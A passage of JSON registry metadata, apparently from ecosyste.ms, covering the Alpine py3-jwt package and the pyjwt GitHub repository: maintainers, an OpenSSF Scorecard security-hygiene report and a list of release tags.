adilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-jwt-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-jwt-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-jwt-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-jwt-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-jwt-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-jwt-pyc/codemeta","maintainers":[{"uuid":"michal@polanski.me","login":null,"name":"Michał Polański","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","packages_count":325,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","role":null,"created_at":"2024-06-12T01:14:22.906Z","updated_at":"2024-06-12T01:14:22.906Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/maintainers/michal@polanski.me/packages"}],"registry":{"name":"alpine-v3.20","url":"https://pkgs.alpinelinux.org/packages?branch=v3.20","ecosystem":"alpine","default":false,"packages_count":24162,"maintainers_count":405,"namespaces_count":2,"keywords_count":4251,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1476},"icon_url":"https://github.com/alpinelinux.png","created_at":"2024-06-07T11:51:39.915Z","updated_at":"2026-06-10T05:19:00.233Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/namespaces"}},{"id":10344694,"name":"py3-jwt","ecosystem":"alpine","description":"Python3 JSON Web Token implementation","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-04-12T09:59:22.000Z","latest_release_published_at":"2024-04-12T09:59:22.000Z","latest_release_number":"2.8.0-r1","last_synced_at":"2026-03-05T09:31:44.914Z","created_at":"2024-06-11T10:02:42.582Z","updated_at":"2026-05-29T04:00:35.781Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.20/community/x86_64/py3-jwt","install_command":"apk add py3-jwt","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job